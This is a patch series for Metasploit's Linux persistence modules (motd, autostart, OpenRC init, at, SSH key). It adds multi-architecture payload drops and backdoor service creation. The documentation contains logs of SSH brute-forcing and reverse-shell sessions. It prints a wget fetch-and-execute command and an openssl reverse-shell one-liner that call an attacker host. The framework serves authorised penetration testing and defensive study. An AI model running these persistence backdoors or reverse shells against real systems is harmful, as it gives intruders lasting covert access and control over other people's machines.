a/modules/exploits/linux/persistence/motd.rb b/modules/exploits/linux/persistence/motd.rb index 3240430ec203..4b6464f3fc7d 100644 --- a/modules/exploits/linux/persistence/motd.rb +++ b/modules/exploits/linux/persistence/motd.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated @@ -28,7 +29,19 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Julien Voisin' ], 'Platform' => [ 'unix', 'linux' ], - 'Arch' => ARCH_CMD, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'Payload' => { + 'BadChars' => '#%\n"' + }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ ['Automatic', {}] ], 'Privileged' => true, @@ -44,8 +57,10 @@ def initialize(info = {}) ] ) ) - register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ]) - deregister_options('WritableDir') + register_options([ + OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']), + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), + ]) end def check @@ -66,6 +81,19 @@ def install_persistence fail_with Failure::BadConfig, "#{backdoor_path} is already present" end + if payload.arch.first == 'cmd' + write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}") + else + backdoor_path = datastore['WritableDir'] + backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/" + backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) + backdoor_path << backdoor_name + print_status("Uploading payload file to #{backdoor_path}") + upload_and_chmodx backdoor_path, generate_payload_exe + write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n")) + @clean_up_rc << "rm #{backdoor_path}\n" + end + write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}") @clean_up_rc << "rm #{backdoor_path}\n" chmod(backdoor_path, 0o755) From 9af6dd6fed03492cd5e288ff003c1f87b9e8ab55 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 9 Feb 2025 07:16:20 -0500 Subject: [PATCH 87/94] various persistence updates --- modules/exploits/linux/persistence/autostart.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/persistence/autostart.rb b/modules/exploits/linux/persistence/autostart.rb index b74a8d24e6dd..1f74df92ac17 100644 --- a/modules/exploits/linux/persistence/autostart.rb +++ b/modules/exploits/linux/persistence/autostart.rb @@ -71,6 +71,7 @@ def initialize(info = {}) end def check + print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') # https://unix.stackexchange.com/a/237750 return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg') From dffa622f1f9bb63d5602c44cb0a1f2b13dbfff76 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 9 Feb 2025 09:53:51 -0500 Subject: [PATCH 88/94] openrc persistence --- .../exploit/linux/persistence/init_openrc.md | 392 +++++------------- .../exploits/linux/persistence/init_openrc.rb | 69 ++- 2 files changed, 148 insertions(+), 313 deletions(-) diff --git a/documentation/modules/exploit/linux/persistence/init_openrc.md b/documentation/modules/exploit/linux/persistence/init_openrc.md index 46d920043406..bb0b5c37aa99 100644 --- a/documentation/modules/exploit/linux/persistence/init_openrc.md +++ b/documentation/modules/exploit/linux/persistence/init_openrc.md @@ -1,305 +1,117 @@ -### Creating A Testing Environment +## Vulnerable Application - This module has been tested against: +This module will create a service on the box via OpenRC, and mark it for auto-restart. +We need enough access to write service files and potentially restart services. -1. Kali 2.0 (System V) -2. Ubuntu 14.04 (Upstart) -3. Ubuntu 16.04 (systemd) -4. Ubuntu 16.04 (systemd user) -5. Centos 5 (System V) -6. Fedora 18 (systemd) -7. Fedora 20 (systemd) +Verified against alpine 3.21.2 ## Verification Steps - 1. Start msfconsole - 2. Exploit a box via whatever method - 3. Do: `use exploit/linux/local/service_persistence` - 4. Do: `set session #` - 5. Do: `set verbose true` - 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. - 8. Do: `set lhost` - 9. Do: `exploit` - 10. Do: `use exploit/multi/handler` - 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 12. Do: `set lhost` - 13. Do: `exploit -j` - 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec - 15. Get Shell +1. Exploit a box and get a **root** session +2. `use exploit/linux/persistence/init_openrc ` +3. `set SESSION ` +4. `set PAYLOAD ` +5. `set LHOST ` +6. `exploit` ## Options -**target** - - There are several targets selectable, which all have their own issues. - -0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries -1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err -2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. -3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. - -**BACKDOOR_PATH** - - If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin - **SERVICE** - The name of the service to create. If not chosen, a 7 character random one is created. +The name of the service to create. If not chosen, a random one is created. -**SHELL_NAME** +**PAYLOAD_NAME** - The name of the file to write with our shell. If not chosen, a 5 character random one is created. +The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created. ## Scenarios -### System V (Centos 5 - root - chkconfig) - -Get initial access - - msf > use auxiliary/scanner/ssh/ssh_login - msf auxiliary(ssh_login) > set rhosts 192.168.199.131 - rhosts => 192.168.199.131 - msf auxiliary(ssh_login) > set username root - username => root - msf auxiliary(ssh_login) > set password centos - password => centos - msf auxiliary(ssh_login) > exploit - - [*] 192.168.199.131:22 SSH - Starting bruteforce - [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' - [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set BACKDOOR_PATH /bin - BACKDOOR_PATH => /bin - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /bin/GUIJc - [*] Max line length is 65537 - [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf - [*] Utilizing System_V - [*] Utilizing chkconfig - [*] Writing service: /etc/init.d/HqdezBF - [*] Max line length is 65537 - [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf - [*] Enabling & starting our service - [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 - -Reboot the box to prove persistence - - reboot - ^Z - Background session 2? [y/N] y - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(handler) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 - - -### Upstart (Ubuntu 14.04.4 Server - root) -Of note, I allowed Root login via SSH w/ password only to gain easy initial access - -Get initial access - - msf auxiliary(ssh_login) > exploit - - [*] 10.10.60.175:22 SSH - Starting bruteforce - [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' - [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (Upstart) - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(service_persistence) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Writing backdoor to /usr/local/bin/bmmjv - [*] Max line length is 65537 - [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf - [*] Utilizing Upstart - [*] Writing /etc/init/Hipnufl.conf - [*] Max line length is 65537 - [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf - [*] Starting service - [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log - [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 - -And now, we can kill the callback shell from our previous session - - ^Z - Background session 5? [y/N] y - msf exploit(service_persistence) > sessions -i 1 - [*] Starting interaction with 1... - - netstat -antp | grep 4444 - tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash - tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python - kill 1783 - [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError - kill 1789 - -Now with a multi handler, we can catch Upstart restarting the process every 10sec - - msf > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(handler) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(handler) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 - - -### systemd (Ubuntu 16.04 Server - root) -Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. -While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. - -Get initial access - - msf exploit(handler) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /usr/local/bin/JSRCF - [*] Max line length is 65537 - [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf - [*] Utilizing systemd - [*] /lib/systemd/system/YelHpCx.service - [*] Max line length is 65537 - [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf - [*] Enabling service - [*] Starting service - [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 - - ^Z - Background session 7? [y/N] y - -Kill the process on the Ubuntu target box via local access #good_admin - - root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 - tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc - root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 - -And logically, we lose our shell - - [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError - -Now with a multi handler, we can catch systemd restarting the process every 10sec - - - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > show options - - Module options (exploit/multi/handler): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.199.128 yes The listen address - LPORT 4444 yes The listen port - - Exploit target: - - Id Name - -- ---- - 0 Wildcard Target - - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 - -### systemd user (Ubuntu 16.04 Server - vagrant) - - msf5 exploit(linux/local/service_persistence) > options - - Module options (exploit/linux/local/service_persistence): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - BACKDOOR_PATH /tmp yes Writable path to put our shell - SERVICE no Name of service to create - SESSION yes The session to run this module on - SHELL_NAME no Name of shell file to write - - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 172.28.128.1 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - - Exploit target: - - Id Name - -- ---- - 4 systemd user - - - msf5 exploit(linux/local/service_persistence) > run - - [!] SESSION may not be compatible with this module. - [*] Started reverse TCP handler on 172.28.128.1:4444 - [*] Writing backdoor to /tmp/PPpCF - [*] Max line length is 65537 - [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf - [*] Creating user service directory - [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service - [*] Max line length is 65537 - [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf - [*] Reloading manager configuration - [*] Enabling service - [*] Starting service: OzzdRBC - [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 - - id - uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) - uname -a - Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux +### Alpine Linux 3.21.2 + +Of note, the default install of Alpine doesn't have `curl`, or `bash`. The `OpenSSL` payload was confirmed working though + +Initial access vector via web delivery + +``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO xK7yCqmS --no-check-certificate http://111.111.1.111:8181/l; chmod +x xK7yCqmS; ./xK7yCqmS& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:33954) at 2025-02-09 09:31:16 -0500 + +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/root) > getuid +Server username: root +(Meterpreter 1)(/root) > sysinfo +Computer : alpine3.21.2 +OS : (Linux 6.12.12-0-virt) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/root) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_openrc +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set payload payload/cmd/unix/reverse_openssl +payload => cmd/unix/reverse_openssl +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > exploit +[+] sh -c '(sleep 4296|openssl s_client -quiet -connect 111.111.1.111:4444|while : ; do sh && break; done 2>&1|openssl s_client -quiet -connect 111.111.1.111:4444 >/dev/null 2>&1 &)' +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_openrc) > +[*] Started reverse double SSL handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. /tmp/ is writable and openrc based +[*] Writing backdoor to /tmp//rljkrbglMY +[*] Writing service: /etc/init.d/GpdAgZVBGWq +[*] Writing '/etc/init.d/GpdAgZVBGWq' (141 bytes) ... +[*] Enabling service +[+] Starting service +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/alpine3.21.2_20250209.3159/alpine3.21.2_20250209.3159.rc +[*] Command: echo duVbKHsRwQ5D05J7; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "duVbKHsRwQ5D05J7\n" +[*] Matching... +[*] A is input... +[*] Command shell session 2 opened (111.111.1.111:4444 -> 222.222.2.222:43560) at 2025-02-09 09:32:07 -0500 + +``` \ No newline at end of file diff --git a/modules/exploits/linux/persistence/init_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb index a9bd02135f3b..019859c76e79 100644 --- a/modules/exploits/linux/persistence/init_openrc.rb +++ b/modules/exploits/linux/persistence/init_openrc.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper + include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated @@ -21,7 +22,9 @@ def initialize(info = {}) 'Name' => 'Init OpenRC Persistence', 'Description' => %q{ This module will create a service on the box via OpenRC, and mark it for auto-restart. - We need enough access to write service files and potentially restart services + We need enough access to write service files and potentially restart services. + + Verified against alpine 3.21.2 }, 'License' => MSF_LICENSE, 'Author' => [ @@ -32,7 +35,16 @@ def initialize(info = {}) ['Automatic', {}] ], 'DefaultTarget' => 0, - 'Arch' => ARCH_CMD, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], ['URL', 'https://attack.mitre.org/techniques/T1543/'], @@ -40,13 +52,6 @@ def initialize(info = {}) ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'], ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'], ], - 'Payload' => { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down - } - }, 'SessionTypes' => ['shell', 'meterpreter'], 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -59,9 +64,8 @@ def initialize(info = {}) register_options( [ - # OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), -> WritableDir - OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), - OptString.new('SERVICE', [false, 'Name of service to create']) + OptString.new('SERVICE', [false, 'Name of service to create']), + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), ] ) register_advanced_options( @@ -72,17 +76,20 @@ def initialize(info = {}) end def check + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir']) return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) - return CheckCode::Safe("/etc/init.d/ doesnt exist") unless exists?('/etc/init.d/') - return CheckCode::Safe("/etc/init.d/ isnt writable") unless writable?('/etc/init.d/') + return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/') + return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/') return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc') + CheckCode::Appears("#{datastore['WritableDir']} is writable and openrc based") end def install_persistence - write_shell(datastore['WritableDir']) + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + backdoor = write_shell(datastore['WritableDir']) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] @@ -91,27 +98,41 @@ def install_persistence end def write_shell(path) - file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") - write_file(backdoor, payload.encoded) - @clean_up_rc << "rm #{backdoor}\n" - if file_exist?(backdoor) - cmd_exec("chmod 711 #{backdoor}") - return backdoor + if payload.arch.first == 'cmd' + write_file(backdoor, payload.encoded) + chmod(backdoor, 0o755) + else + upload_and_chmodx backdoor, generate_payload_exe end - fail_with(Failure::NoAccess, 'File not written, check permissions.') + + @clean_up_rc << "rm #{backdoor}\n" + + fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor) + backdoor end def openrc(backdoor_path, backdoor_file) - script = %(#!/sbin/openrc-run + if payload.arch.first == 'cmd' + script = %(#!/sbin/openrc-run name=#{backdoor_file} command=/bin/sh command_args="#{backdoor_path}/#{backdoor_file}" pidfile="/run/${RC_SVCNAME}.pid" command_background="yes" ) + else + script = %(#!/sbin/openrc-run +name=#{backdoor_file} +command="#{backdoor_path}/#{backdoor_file}" +command_args="" +pidfile="/run/${RC_SVCNAME}.pid" +command_background="yes" +) + end service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) service_path = "/etc/init.d/#{service_filename}" @@ -131,6 +152,8 @@ def openrc(backdoor_path, backdoor_file) if datastore['EnableService'] vprint_status('Enabling service') cmd_exec("rc-update add '#{service_filename}'") + # won't run from meterpreter, need to shell first + # @clean_up_rc << "rc-update del '#{service_filename}'\n" end print_good('Starting service') From 4b3ffe02e9f794c9f9491aa978174ea9564fc65a Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 11 Feb 2025 16:03:18 -0500 Subject: [PATCH 89/94] timespec for at(1) persistence module --- lib/msf/core/exploit/local/timespec.rb | 28 +++++++++++++ modules/exploits/multi/persistence/at.rb | 2 + .../msf/core/exploit/local/timespec_spec.rb | 42 +++++++++++++++++++ 3 files changed, 72 insertions(+) create mode 100644 lib/msf/core/exploit/local/timespec.rb create mode 100644 spec/lib/msf/core/exploit/local/timespec_spec.rb diff --git a/lib/msf/core/exploit/local/timespec.rb b/lib/msf/core/exploit/local/timespec.rb new file mode 100644 index 000000000000..ba1c18a82359 --- /dev/null +++ b/lib/msf/core/exploit/local/timespec.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Local::Timespec + TIMESPEC_REGEX = %r{ + \b( + (?:[01]?\d|2[0-3]):[0-5]\d(?:\s?(?:AM|PM))? | # Matches HH:MM (12h/24h) + midnight | noon | teatime | now | # Matches special keywords + now\s?\+\s?\d+\s?(?:minutes?|hours?|days?|weeks?) | # Matches relative times + (?:mon|tue|wed|thu|fri|sat|sun)(?:day)? | # Matches named days + (?:next|last)\s(?:mon|tue|wed|thu|fri|sat|sun)(?:day)? | # Matches next/last weekday + \d{1,2}/\d{1,2}/\d{2,4} | # Matches MM/DD/YY(YY) + \d{1,2}\.\d{1,2}\.\d{2,4} | # Matches DD.MM.YY(YY) + \d{6} | \d{8} # Matches MMDDYY or MMDDYYYY + )\b + }xi # 'x' allows extended mode, 'i' makes it case-insensitive + + # + # Attempts to validate a timespec. + # + # @param timespec [String] The timespec to test + # @return [Boolean] If the timespec is valid or not + # + def self.valid_timespec?(timespec) + !!(timespec =~ TIMESPEC_REGEX) # Ensures true/false return + end + end +end diff --git a/modules/exploits/multi/persistence/at.rb b/modules/exploits/multi/persistence/at.rb index 3f6e3bbab615..5ed788bb5bf4 100644 --- a/modules/exploits/multi/persistence/at.rb +++ b/modules/exploits/multi/persistence/at.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Exploit::Local::Persistence + include Msf::Exploit::Local::Timespec prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/unix/local/at_persistence' @@ -65,6 +66,7 @@ def check end def install_persistence + fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME']) payload_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(7..12)}" vprint_status("Writing payload to #{payload_file}") write_file(payload_file, payload.encoded) diff --git a/spec/lib/msf/core/exploit/local/timespec_spec.rb b/spec/lib/msf/core/exploit/local/timespec_spec.rb new file mode 100644 index 000000000000..d29b4ab9e66c --- /dev/null +++ b/spec/lib/msf/core/exploit/local/timespec_spec.rb @@ -0,0 +1,42 @@ +require 'spec_helper' + +RSpec.describe Msf::Exploit::Local::Timespec do + describe '.valid_timespec?' do + it 'returns true for military time' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('14:30')).to eq(true) + end + + it 'returns true for 12hr time' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('2:15 PM')).to eq(true) + end + + it 'returns true for midnight' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('midnight')).to eq(true) + end + + it 'returns true for now' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('now')).to eq(true) + end + + it 'returns true for now plus time' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('now + 10 minutes')).to eq(true) + end + + it 'returns true for relative days' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('next Monday')).to eq(true) + expect(Msf::Exploit::Local::Timespec.valid_timespec?('last Friday')).to eq(true) # unlikely to ever be used for our context + end + + it 'returns true for mm/dd/yy based date' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('07/04/23')).to eq(true) + end + + it 'returns true for mmddyy based date' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('010124')).to eq(true) + end + + it 'returns true for dd.mm.yyyy based date' do + expect(Msf::Exploit::Local::Timespec.valid_timespec?('31.12.2023')).to eq(true) + end + end +end From 4be51248bcb6c2e0ce666f8fa46fa23ee07d2aac Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 11 Feb 2025 20:04:45 -0500 Subject: [PATCH 90/94] multi sshkey module, currently bugged --- modules/exploits/linux/persistence/sshkey.rb | 169 --------- modules/exploits/multi/persistence/sshkey.rb | 352 ++++++++++++++++++ .../exploits/windows/persistence/sshkey.rb | 237 ------------ 3 files changed, 352 insertions(+), 406 deletions(-) delete mode 100644 modules/exploits/linux/persistence/sshkey.rb create mode 100644 modules/exploits/multi/persistence/sshkey.rb delete mode 100644 modules/exploits/windows/persistence/sshkey.rb diff --git a/modules/exploits/linux/persistence/sshkey.rb b/modules/exploits/linux/persistence/sshkey.rb deleted file mode 100644 index d951b4e8f858..000000000000 --- a/modules/exploits/linux/persistence/sshkey.rb +++ /dev/null @@ -1,169 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'sshkey' - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::File - include Msf::Post::Unix - include Msf::Exploit::Local::Persistence - prepend Msf::Exploit::Remote::AutoCheck - include Msf::Exploit::Deprecated - moved_from 'post/linux/manage/sshkey_persistence' - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'SSH Key Persistence', - 'Description' => %q{ - This module will add an SSH key to a specified user (or all), to allow - remote login via SSH at any time. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'h00die ' - ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ], - # these are lies, but for compatibility - 'Arch' => ARCH_CMD, - 'Targets' => [ ['Automatic', {}] ], - 'DefaultTarget' => 0, - # end lies - 'References' => [ - ['URL', 'https://attack.mitre.org/techniques/T1098/004/'] - ], - 'DisclosureDate' => '1995-01-01', # ssh first release - 'Notes' => { - 'Stability' 